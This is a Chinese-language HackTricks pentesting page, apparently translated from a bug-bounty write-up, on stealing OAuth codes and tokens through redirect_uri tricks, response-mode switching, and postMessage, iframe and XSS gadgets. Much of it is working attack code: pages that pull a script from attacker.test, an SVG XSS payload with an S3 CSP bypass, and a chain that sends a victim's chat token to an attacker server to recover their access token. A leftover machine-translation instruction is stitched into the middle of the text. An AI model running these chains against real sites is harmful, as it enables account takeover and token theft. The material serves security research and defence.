36 KiB
OAuth - Happy Paths, XSS, Iframes & Post Messages to leak code & state values
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看SUBSCRIPTION PLANS!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获取官方PEASS和HackTricks的衣物
- 加入💬 Discord群组或电报群组,或在Twitter上关注我🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
不同OAuth流程的解释
响应类型
首先,OAuth流程中可以使用不同的响应类型。这些响应类型授予令牌以登录用户或获取所需信息。
最常见的三种类型是:
code
+state
。code
用于调用OAuth提供者的服务器以获取令牌。state
参数用于验证发起调用的正确用户。在进行服务器端调用OAuth提供者之前,OAuth客户端有责任验证状态参数。id_token
。是使用OAuth提供者的公共证书签名的JSON Web Token(JWT),用于验证所提供的身份是否确实属于它所声称的身份。token
。是服务提供商API中使用的访问令牌。
响应模式
在OAuth流程中,授权流程可以使用不同的模式将代码或令牌提供给网站,以下是最常见的四种模式之一:
- 查询。将查询参数作为重定向返回到网站(
https://example.com/callback?code=xxx&state=xxx
)。用于code+state
。code
只能使用一次,在使用代码时需要OAuth客户端密钥来获取访问令牌。 - 此模式不推荐用于令牌,因为令牌可以多次使用,不应出现在服务器日志或类似位置。大多数OAuth提供者不支持此模式用于令牌,仅用于代码。示例:
response_mode=query
由Apple使用。response_type=code
由Google或Facebook使用。
- 片段。使用片段重定向(
https://example.com/callback#access_token=xxx
)。在此模式下,URL的片段部分不会出现在任何服务器日志中,并且只能使用JavaScript在客户端端访问。此响应模式用于令牌。示例:
response_mode=fragment
由Apple和Microsoft使用。response_type
包含id_token
或token
,由Google、Facebook、Atlassian等使用。
- Web消息。使用postMessage到网站的固定来源:
postMessage('{"access_token":"xxx"}','https://example.com')
如果支持,通常可以用于所有不同的响应类型。示例:
response_mode=web_message
由Apple使用。redirect_uri=storagerelay://...
由Google使用。redirect_uri=https://staticxx.facebook.com/.../connect/xd_arbiter/...
由Facebook使用。
- 表单提交。使用表单提交到有效的
redirect_uri
,将常规POST请求发送回网站。这可用于代码和令牌。示例:
response_mode=form_post
由Apple使用。ux_mode=redirect&login_uri=https://example.com/callback
由Google Sign-In (GSI)使用。
故意破坏state
OAuth规范建议在response_type=code
的情况下使用state
参数,以确保发起流程的用户也是在OAuth流程之后使用代码发出令牌的用户。
然而,如果**state
值无效**,code
将不会被使用,因为验证状态是网站的责任(最终的责任)。这意味着,如果攻击者可以向受害者发送带有攻击者有效state
的登录流程链接,OAuth流程将对受害者失败,并且code
将永远不会被发送到OAuth提供者。如果攻击者能够获取code
,仍然可以使用该code
。
- 攻击者使用“使用X登录”在网站上启动登录流程。
- 攻击者使用
state
值构造一个链接,供受害者使用OAuth提供者进行登录,但使用攻击者的state
。 - 受害者使用链接登录并重定向回网站。
- 网站验证受害者的
state
并停止处理登录流程,因为它不是有效的状态。受害者看到错误页面。 - 攻击者找到一种方法从错误页面泄露
code
。 - 攻击者现在可以使用自己的
state
和从受害者那里泄露的code
进行登录。
响应类型/响应模式切换
改变OAuth流程的响应类型或响应模式将影响代码或令牌返回到网站的方式,这往往会导致意外行为。我还没有看到任何OAuth提供者有限制网站支持的响应类型或模式的选项,因此根据OAuth提供者的不同,通常至少有两个或更多可以更改的选项,以便尝试进入非正常路径。
还可以请求多个响应类型。有一份规范解释了在请求多个响应类型时如何提供值给重定向URI(https://openid.net/specs/oauth-v2-multiple-response-types-1_0-09.html#Encoding):
如果请求中的
response_type
只包含需要服务器在查询字符串中完全编码返回数据的值,则此多值response_type
的响应中返回的数据必须完全编码在查询字符串中。此建议适用于成功和错误响应。如果请求中的
response_type
包含任何需要服务器在片段中完全编码返回数据的值,则此多值response_type
的响应中返回的数据必须完全编码在片段中。此建议适用于成功和错误响应。
如果按照这个规范正确操作,这意味着您可以要求将code
参数发送到网站,但是如果同时要求id_token
,则code
参数将发送到片段部分而不是查询字符串中。
对于Google的登录,这意味着:
https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
client_id=client-id.apps.googleusercontent.com&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
scope=openid%20email%20profile&
response_type=code&
access_type=offline&
state=yyy&
prompt=consent&flowName=GeneralOAuthFlow
将重定向到 https://example.com/callback?code=xxx&state=yyy
。但是:
https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
client_id=client-id.apps.googleusercontent.com&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
scope=openid%20email%20profile&
response_type=code,id_token&
access_type=offline&
state=yyy&
prompt=consent&flowName=GeneralOAuthFlow
将重定向到 https://example.com/callback#code=xxx&state=yyy&id_token=zzz
。
如果使用Apple,同样的思路适用:
https://appleid.apple.com/auth/authorize?
response_type=code&
response_mode=query&
scope=&
state=zzz&
client_id=client-id&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
你将被重定向到 https://example.com/callback?code=xxx&state=yyy
,但是:
https://appleid.apple.com/auth/authorize?
response_type=code+id_token&
response_mode=fragment&
scope=&
state=zzz&
client_id=client-id&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
将重定向到https://example.com/callback#code=xxx&state=yyy&id_token=zzz
。
非正常路径
研究的作者称之为非正常路径,即用户通过OAuth登录后被重定向到错误的URL。这很有用,因为如果客户端提供了有效的状态+代码令牌但未达到预期的页面,那么信息将无法正确消耗,如果攻击者找到一种方法从“非正常路径”中泄露该信息,他将能够接管账户。
默认情况下,OAuth流程将达到预期的路径,但是可能存在一些潜在的配置错误,允许攻击者构造特定的初始OAuth请求,使用户在登录后到达非正常路径。
重定向URI不匹配
这些“常见”的配置错误在OAuth通信的重定向URL中发现。
规范 ****严格指出,重定向URL应与定义的URL严格比较,不允许除端口外的任何更改。然而,一些端点允许进行一些修改:
重定向URI路径附加
一些OAuth提供商允许在redirect_uri
路径中添加其他数据。这也违反了规范,就像“重定向URI大小写转换”一样。例如,使用https://example.com/callback
重定向URI,发送:
response_type=id_token&
redirect_uri=https://example.com/callbackxxx
最终会重定向到 https://example.com/callbackxxx#id_token
。
重定向URI参数追加
一些OAuth提供商允许添加额外的查询或片段参数到redirect_uri
中。您可以通过提供与URL追加的相同参数来触发非正常路径。例如,有一个https://example.com/callback
重定向URI,发送以下内容:
response_type=code&
redirect_uri=https://example.com/callback%3fcode=xxx%26
以下情况下,将重定向到 https://example.com/callback?code=xxx&code=real-code
。根据接收到的多个具有相同名称的参数的网站,这可能会触发非正常路径。对于 token
和 id_token
也是如此:
response_type=code&
redirect_uri=https://example.com/callback%23id_token=xxx%26
重定向URI的剩余部分或配置错误
当收集包含redirect_uri
值的所有登录URL时,我还可以测试其他重定向URI值是否也有效。在我测试的网站中保存的125个不同的Google登录流程中,有5个网站的起始页面也是有效的redirect_uri
。例如,如果正在使用redirect_uri=https://auth.example.com/callback
,在这5种情况下,任何以下都是有效的:
redirect_uri=https://example.com/
redirect_uri=https://example.com
redirect_uri=https://www.example.com/
redirect_uri=https://www.example.com
对于实际使用id_token
或token
的网站来说,这尤其有趣,因为response_type=code
仍然会在OAuth流程的最后一步中,即获取令牌时,由OAuth提供商验证redirect_uri
。
Gadget 1:弱或没有进行来源检查的postMessage监听器泄露URL
在这个例子中,最终的非正常路径是发送一个post请求消息,泄露了location.href。
一个例子是加载在网站上的一个流行网站的分析SDK:
该SDK暴露了一个postMessage监听器,当消息类型匹配时,会发送以下消息:
从不同的来源向其发送消息:
openedwindow = window.open('https://www.example.com');
...
openedwindow.postMessage('{"type":"sdk-load-embed"}','*');
一个响应消息将显示在发送消息的窗口中,该消息包含网站的location.href
:
攻击中使用的流程取决于代码和令牌在登录流程中的使用方式,但思路是:
攻击
- 攻击者向受害者发送一个经过精心准备的链接,该链接已准备好在OAuth流程中导致非正常路径。
- 受害者点击该链接。新标签页打开,显示正在利用的网站的OAuth提供程序之一的登录流程。
- 在被利用的网站上触发非正常路径,易受攻击的postMessage监听器在受害者所在的页面上加载,仍然带有URL中的代码或令牌。
- 由攻击者发送的原始标签页向新标签页发送一系列postMessage,以使postMessage监听器泄漏当前URL。
- 由攻击者发送的原始标签页然后监听发送给它的消息。当URL以消息形式返回时,提取代码和令牌并发送给攻击者。
- 攻击者使用在非正常路径上结束的代码或令牌以受害者身份登录。
Gadget 2:在沙盒/第三方域上的XSS获取URL
Gadget 2:示例1,从沙盒iframe中窃取window.name
这个示例在OAuth流程结束的页面上加载了一个iframe。iframe的名称是window.location
对象的JSON字符串化版本。这是一种旧的跨域传输数据的方式,因为iframe中的页面可以通过父页面设置自己的window.name
:
i = document.createElement('iframe');
i.name = JSON.stringify(window.location)
i.srcdoc = '<script>console.log("my name is: " + window.name)</script>';
document.body.appendChild(i)
在iframe中加载的域也存在一个简单的XSS漏洞:
https://examplesandbox.com/embed_iframe?src=javascript:alert(1)
攻击
如果在一个窗口中的一个域上有一个XSS,那么如果这些窗口之间存在父/子/opener-关系,那么这个窗口就可以访问相同源的其他窗口。
这意味着攻击者可以利用XSS来加载一个带有特制OAuth链接的新标签页,该链接将以加载带有令牌的iframe的路径结束。然后,从被利用的XSS页面上,可以读取iframe的名称,因为它在iframe的父页面上有一个opener,并将其泄露出去。
更具体地说:
- 创建一个恶意页面,其中嵌入了一个带有XSS的沙盒的iframe,加载了我的自定义脚本:
<div id="leak"><iframe src="https://examplesandbox.com/embed_iframe?src=javascript:
x=createElement('script'),
x.src='//attacker.test/inject.js',
document.body.appendChild(x);"
style="border:0;width:500px;height:500px"></iframe></div>
- 在我加载到沙盒中的脚本中,我用要用于受害者的链接替换了内容:
document.body.innerHTML =
'<a href="#" onclick="
b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
Click here to hijack token</a>';
我还启动了一个定时器脚本,以检查链接是否已打开,并且我想要访问的iframe是否存在,以获取与攻击者页面上的iframe具有相同源的iframe上设置的window.name
:
x = setInterval(function() {
if(parent.window.b &&
parent.window.b.frames[0] &&
parent.window.b.frames[0].window &&
parent.window.b.frames[0].window.name) {
top.postMessage(parent.window.b.frames[0].window.name, '*');
parent.window.b.close();
clearInterval(x);
}
}, 500);
- 攻击者页面现在可以监听我们刚刚发送的带有
window.name
的消息:
<script>
window.addEventListener('message', function (e) {
if (e.data) {
document.getElementById('leak').innerText = 'We stole the token: ' + e.data;
}
});
</script>
Gadget 2: 示例2,带有XSS + 父源检查的iframe
第二个示例是一个在非happy path上加载的iframe,其中使用postMessage进行XSS,但是**只允许来自parent
**窗口的消息。当iframe向parent
窗口发送initConfig
消息时,location.href
被发送到了iframe中。
主窗口加载iframe的方式如下:
<iframe src="https://challenge-iframe.example.com/"></iframe>
以下是来自一本关于黑客技术的书籍的内容。以下内容来自文件/hive/hacktricks/pentesting-web/oauth-to-account-takeover/oauth-happy-paths-xss-iframes-and-post-messages-to-leak-code-and-state-values.md。将相关的英文文本翻译成中文,并返回翻译结果,保持完全相同的Markdown和HTML语法。不要翻译代码、黑客技术名称、黑客术语、云/SaaS平台名称(如Workspace、aws、gcp...)、单词“leak”、“pentesting”和Markdown标签。此外,请不要添加任何额外的内容,只需提供翻译和Markdown语法即可。
<script>
window.addEventListener('message', function (e) {
if (e.source !== window.parent) {
// not a valid origin to send messages
return;
}
if (e.data.type === 'loadJs') {
loadScript(e.data.jsUrl);
} else if (e.data.type === 'initConfig') {
loadConfig(e.data.config);
}
});
</script>
攻击
在这种情况下,攻击者加载一个带有Post-message XSS漏洞页面的iframe,并利用XSS加载任意JS。
这个JS将会打开一个带有OAuth链接的标签页。在登录后,最终页面中的URL中包含了令牌,并加载了一个iframe(XSS post-message漏洞的iframe)。
然后,被利用的XSS中的任意JS(来自于opener的标签页)可以访问该iframe,并使其向父级请求initConfig
(其中包含了带有令牌的URL)。父页面将其提供给iframe,并且命令其泄露。
在这种情况下,我可以使用类似于之前示例的方法:
- 创建一个恶意页面,嵌入一个沙箱的iframe,并在iframe加载时附加一个onload以触发脚本。
<div id="leak"><iframe
id="i" name="i"
src="https://challenge-iframe.example.com/"
onload="run()"
style="border:0;width:500px;height:500px"></iframe></div>
- 由于恶意页面是iframe的父级,它可以使用**postMessage(XSS)**向iframe发送消息,以在沙箱的源中加载我们的脚本:
<script>
function run() {
i.postMessage({type:'loadJs',jsUrl:'https://attacker.test/inject.js'}, '*')
}
</script>
- 在我加载到沙箱中的脚本中,我用受害者的链接替换了内容:
document.body.innerHTML = '<a href="#" onclick="
b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
Click here to hijack token</a>';
我还启动了一个脚本来定时检查链接是否被打开,以及我想要访问的iframe是否存在,以便从我的iframe向主窗口运行其中的javascript。然后,我附加了一个postMessage监听器,将消息传递回恶意窗口中的iframe:
x = setInterval(function() {
if(b && b.frames[1]) {
b.frames[1].eval(
'onmessage=function(e) { top.opener.postMessage(e.data, "*") };' +
'top.postMessage({type:'initConfig'},"*")'
)
clearInterval(x)
}
}, 500);
- 加载了iframe的攻击者页面可以监听我从主窗口的iframe中注入的postMessage监听器发送的消息:
<script>
window.addEventListener('message', function (e) {
if (e.data) {
document.getElementById('leak').innerText = '我们窃取了令牌:' + JSON.stringify(e.data);
}
});
</script>
Gadget 3: 使用API获取越界URL
这个小工具非常有趣。将受害者引导到某个地方,然后从不同的位置获取敏感数据,这种感觉非常令人满足。
Gadget 3: 示例1,没有源检查的存储iframe
第一个示例使用了一个外部服务来进行跟踪数据。该服务添加了一个“存储iframe”:
<iframe
id="tracking"
name="tracking"
src="https://cdn.customer1234.analytics.example.com/storage.html">
</iframe>
主窗口将使用postMessage与此iframe进行通信,以发送跟踪数据,并将其保存在storage.html
所在的源的localStorage中:
tracking.postMessage('{"type": "put", "key": "key-to-save", "value": "saved-data"}', '*');
主窗口也可以获取此内容:
tracking.postMessage('{"type": "get", "key": "key-to-save"}', '*');
当iframe在初始化时加载时,使用location.href
保存了用户最后访问位置的密钥:
tracking.postMessage('{"type": "put", "key": "last-url", "value": "https://example.com/?code=test#access_token=test"}', '*');
如果你能与这个源进行交流,并让它发送给你内容,那么可以从这个存储中获取location.href
。服务的postMessage监听器有一个源的阻止列表和允许列表。看起来分析服务允许网站定义允许或拒绝的源:
var blockList = [];
var allowList = [];
var syncListeners = [];
window.addEventListener('message', function(e) {
// If there's a blockList, check if origin is there and if so, deny
if (blockList && blockList.indexOf(e.origin) !== -1) {
return;
}
// If there's an allowList, check if origin is there, else deny
if (allowList && allowList.indexOf(e.origin) == -1) {
return;
}
// Only parent can talk to it
if (e.source !== window.parent) {
return;
}
handleMessage(e);
});
function handleMessage(e) {
if (data.type === 'sync') {
syncListeners.push({source: e.source, origin: e.origin})
} else {
...
}
window.addEventListener('storage', function(e) {
for(var i = 0; i < syncListeners.length; i++) {
syncListeners[i].source.postMessage(JSON.stringify({type: 'sync', key: e.key, value: e.newValue}), syncListeners[i].origin);
}
}
此外,如果您有基于allowList
的有效来源,您还可以请求同步,这将在进行更改时将此窗口中的任何localStorage更改发送给您。
攻击
在OAuth流程的非正常路径上加载了此存储的网站上,未定义allowList
的来源;这允许任何来源与postMessage监听器进行通信,如果来源是窗口的parent
:
- 我创建了一个恶意页面,嵌入了一个存储容器的iframe,并附加了一个onload来在加载iframe时触发脚本。
<div id="leak"><iframe
id="i" name="i"
src="https://cdn.customer12345.analytics.example.com/storage.html"
onload="run()"></iframe></div>
- 由于恶意页面现在是iframe的父级,并且在
allowList
中未定义任何来源,恶意页面可以向iframe发送消息,告诉存储发送任何对存储的更新的消息。我还可以在恶意页面上添加一个监听器,以侦听存储发送的任何同步更新:
<script>
function run() {
i.postMessage({type:'sync'}, '*')
}
window.addEventListener('message', function (e) {
if (e.data && e.data.type === 'sync') {
document.getElementById('leak').innerText = '我们窃取了令牌:' + JSON.stringify(e.data);
}
});
</script>
- 恶意页面还将包含一个常规链接,供受害者点击:
<a href="https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?..."
target="_blank">点击此处劫持令牌</a>';
- 受害者将点击该链接,经过OAuth流程,并最终加载跟踪脚本和存储iframe的非正常路径。存储iframe会更新
last-url
。由于localStorage已更新,恶意页面中的iframe将触发window.storage
事件,并且每当存储更改时,恶意页面将收到一个带有受害者当前URL的postMessage:
Gadget 3: example 2, customer mix-up in CDN – DIY storage-SVG without origin check
由于分析服务本身有一个漏洞赏金,我还想看看是否有办法泄漏为存储iframe配置正确来源的网站的URL。
当我开始在没有客户部分的cdn.analytics.example.com
域名上在线搜索时,我注意到此CDN还包含由服务的客户上传的图像:
https://cdn.analytics.example.com/img/customer42326/event-image.png
https://cdn.analytics.example.com/img/customer21131/test.png
我还注意到在这个CDN上以Content-type: image/svg+xml
的形式内联提供了SVG文件:
https://cdn.analytics.example.com/img/customer54353/icon-register.svg
我在该服务上注册了一个试用用户,并上传了自己的资产,这些资产也显示在了CDN上:
https://cdn.analytics.example.com/img/customer94342/tiger.svg
有趣的是,如果你使用了客户特定的子域名来访问CDN,图片仍然可以被加载。这个URL是有效的:
https://cdn.customer12345.analytics.example.com/img/customer94342/tiger.svg
这意味着具有ID#94342的客户可以在客户#12345的存储中呈现SVG文件。
我上传了一个带有简单XSS有效负载的SVG文件:
https://cdn.customer12345.analytics.example.com/img/customer94342/test.svg
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 500 500" width="100%" height="100%" version="1.1">
<script xlink:href="data:,alert(document.domain)"></script>
</svg>
不太好。CDN在img/
下的所有内容中添加了Content-Security-Policy: default-src 'self'
头部。你还可以看到服务器头部提到了S3 - 透露了内容是上传到了一个S3存储桶中:
S3的一个有趣特性是,在S3中目录实际上并不是真正的目录;键之前的路径被称为“前缀”。这意味着S3不在乎/
是否被URL编码,如果你在URL中对每个斜杠进行URL编码,它仍然会提供内容。如果我将img/
更改为URL中的img%2f
,仍然可以解析图像。然而,在这种情况下,CSP头部被移除,XSS被触发:
然后,我可以上传一个SVG,它会创建与常规的storage.html
相同形式的存储处理程序和postMessage监听器,但allowList
为空。这使我能够对那些已经正确定义了可以与存储进行通信的允许来源的网站进行相同类型的攻击。
我上传了一个看起来像这样的SVG:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 5 5" width="100%" height="100%" version="1.1">
<script xlink:href="data:application/javascript;base64,dmFyIGJsb2NrTGlzdCA9IFtdOwp2YXIgYWxsb3dMaXN0ID0gW107Ci4uLg=="></script>
</svg>
我可以使用与示例#1相同的方法,但不是将storage.html
嵌入到iframe中,而是将SVG与URL编码的斜杠嵌入到iframe中:
<div id="leak"><iframe
id="i" name="i"
src="https://cdn.customer12345.analytics.example.com/img%2fcustomer94342/listener.svg"
onload="run()"></iframe></div>
由于没有网站能够自行修复此问题,我向负责CDN的分析提供者发送了一份报告:
关于查看第三方的配置错误漏洞的整个想法主要是为了确认存在多种方法来泄露令牌,并且由于第三方有一个漏洞赏金计划,这只是同一类型漏洞的不同接收者,不同之处在于影响范围是分析服务的所有客户。在这种情况下,第三方的客户实际上有能力正确配置工具,以防止数据泄露给攻击者。然而,由于敏感数据仍然发送给第三方,有趣的是看看是否有办法完全绕过客户对工具的正确配置。
Gadget 3: 示例3,聊天小部件API
最后一个示例是基于一个聊天小部件,该小部件存在于网站的所有页面上,甚至是错误页面上。有多个postMessage监听器,其中一个没有正确的来源检查,只允许您启动聊天弹出窗口。另一个监听器对聊天小部件进行了严格的来源检查,以接收初始化调用和用于当前用户的当前聊天API令牌。
<iframe src="https://chat-widget.example.com/chat"></iframe>
<script>
window.addEventListener('message', function(e) {
if (e.data.type === 'launch-chat') {
openChat();
}
});
function openChat() {
...
}
var chatApiToken;
window.addEventListener('message', function(e) {
if (e.origin === 'https://chat-widget.example.com') {
if (e.data.type === 'chat-widget') {
if (e.data.key === 'api-token') {
chatApiToken = e.data.value;
}
if(e.data.key === 'init') {
chatIsLoaded();
}
}
}
});
function chatIsLoaded() {
...
}
</script>
当聊天iframe加载时:
- 如果聊天小部件的localStorage中存在chat-api-token,则会使用postMessage将api-token发送给其父级。如果没有chat-api-token存在,则不发送任何内容。
- 当iframe加载完成后,它将向其父级发送一个带有
{"type": "chat-widget", "key": "init"}
的postMessage。
如果您在主窗口中点击聊天图标:
- 如果尚未发送chat-api-token,则聊天小部件将创建一个并将其放入自己的origin的localStorage中,并将其通过postMessage发送给父窗口。
- 然后,父窗口将对聊天服务进行API调用。API端点受到特定为该服务配置的网站的CORS限制。您必须为带有chat-api-token的API调用提供有效的
Origin
标头,以允许发送请求。 - 主窗口的API调用将包含
location.href
并将其注册为具有chat-api-token的访客的“当前页面”。然后,响应将包含用于连接到websocket以启动聊天会话的令牌:
{
"api_data": {
"current_page": "https://example.com/#access_token=test",
"socket_key": "xxxyyyzzz",
...
}
}
在这个例子中,我意识到聊天api-token的公告总是会被公告给聊天小部件iframe的父级,如果我得到了chat-api-token,我可以使用该令牌进行服务器端请求,然后在API调用中添加自己的人为Origin
标头,因为CORS标头只对浏览器有效。这导致了以下链:
- 创建一个恶意页面,嵌入聊天小部件的iframe,并添加一个postMessage监听器来监听chat-api-token。还触发一个事件来重新加载iframe,如果在2秒内没有获取到api-token。这是为了确保我也支持从未启动聊天的受害者,并且由于我可以远程触发打开聊天,所以我首先需要chat-api-token来开始轮询来自服务器端的聊天API中的数据。
<div id="leak"><iframe
id="i" name="i"
src="https://chat-widget.example.com/chat" onload="reloadToCheck()"></iframe></div>
<script>
var gotToken = false;
function reloadToCheck() {
if (gotToken) return;
setTimeout(function() {
document.getElementById('i').src = 'https://chat-widget.example.com/chat?' + Math.random();
}, 2000);
}
window.onmessage = function(e) {
if (e.data.key === 'api-token') {
gotToken = true;
lookInApi(e.data.value);
}
}
launchChatWindowByPostMessage();
</script>
- 添加一个链接到恶意页面,以打开以带有令牌的URL结束的登录流程:
<a href="#" onclick="b=window.open('https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...');">点击此处劫持令牌</a>
launchChatWindowByPostMessage()
函数将持续向主窗口发送postMessage,如果打开,则启动聊天小部件:
function launchChatWindowByPostMessage() {
var launch = setInterval(function() {
if(b) { b.postMessage({type: 'launch-chat'}, '*'); }
}, 500);
}
- 当受害者点击链接并最终进入带有令牌的错误页面时,聊天将启动并创建一个chat-api-token。我在恶意页面上重新加载聊天小部件的iframe将通过postMessage获取
api-token
,然后我可以开始在API中查找受害者的当前URL:
function lookInApi(token) {
var look = setInterval(function() {
fetch('https://fetch-server-side.attacker.test/?token=' + token).then(e => e.json()).then(e => {
if (e &&
e.api_data &&
e.api_data.current_url &&
e.api_data.current_url.indexOf('access_token') !== -1) {
var payload = e.api_data.current_url
document.getElementById('leak').innerHTML = '攻击者现在拥有令牌:' + payload;
clearInterval(look);
}
});
}, 2000);
}
https://fetch-server-side.attacker.test/?token=xxx
上的服务器端页面将使用添加的Origin标头进行API调用,使Chat-API认为我正在使用它作为合法的来源:
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
async function getDataFromChatApi(token) {
return await fetch('https://chat-widget.example.com/api', {headers:{Origin: 'https://example.com', 'Chat-Api-Token': token}});
}
function handleRequest(request) {
const token = request.url.match('token=([^&#]+)')[1] || null;
return token ? getDataFromChatApi(token) : null;
}
- 当受害者点击链接并完成OAuth流程,并在带有令牌的错误页面上着陆时,聊天小部件将突然弹出,注册当前URL,攻击者将获得受害者的访问令牌。
泄露URL的其他想法
仍然有其他不同类型的小工具等待被发现。以下是我在野外无法找到但可能是潜在的使用任何可用的响应模式泄露URL的方法之一。
在将任何postMessage路由到其opener的域上的页面
由于所有web_message
响应类型无法验证来源的任何路径,因此任何有效域上的URL都可以接收带有令牌的postMessage。如果在域上的任何页面上存在某种形式的postMessage监听器代理,该代理接收发送到它的任何消息并将所有内容发送到其opener
,我可以创建一个双重window.open链:
攻击者页面1:
<a href="#" onclick="a=window.open('attacker2.html'); return false;">Accept cookies</a>
攻击者页面 2:
<a href="#" onclick="b=window.open('https://accounts.google.com/oauth/...?', '', 'x'); location.href = 'https://example.com/postmessage-proxy'; return false;">Login to google</a>
而 https://example.com/postmessage-proxy
将会有以下内容:
// Proxy all my messages to my opener:
window.onmessage=function(e) { opener.postMessage(e.data, '*'); }
我可以使用任何web_message
响应模式将令牌从OAuth提供程序提交到https://example.com
的有效来源,但是该端点将进一步将令牌发送给opener
,即攻击者的页面。
这个流程可能看起来不太可能,并且需要两次点击:一次创建攻击者和网站之间的opener关系,第二次启动以合法网站作为OAuth弹出窗口的opener的OAuth流程。
OAuth提供程序将令牌发送到合法来源:
合法来源具有将postMessage代理发送到其opener的功能:
这导致攻击者获取令牌:
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?想要在HackTricks中宣传你的公司吗?或者想要获取PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFT收藏品——The PEASS Family
- 获得官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或在Twitter上关注我🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。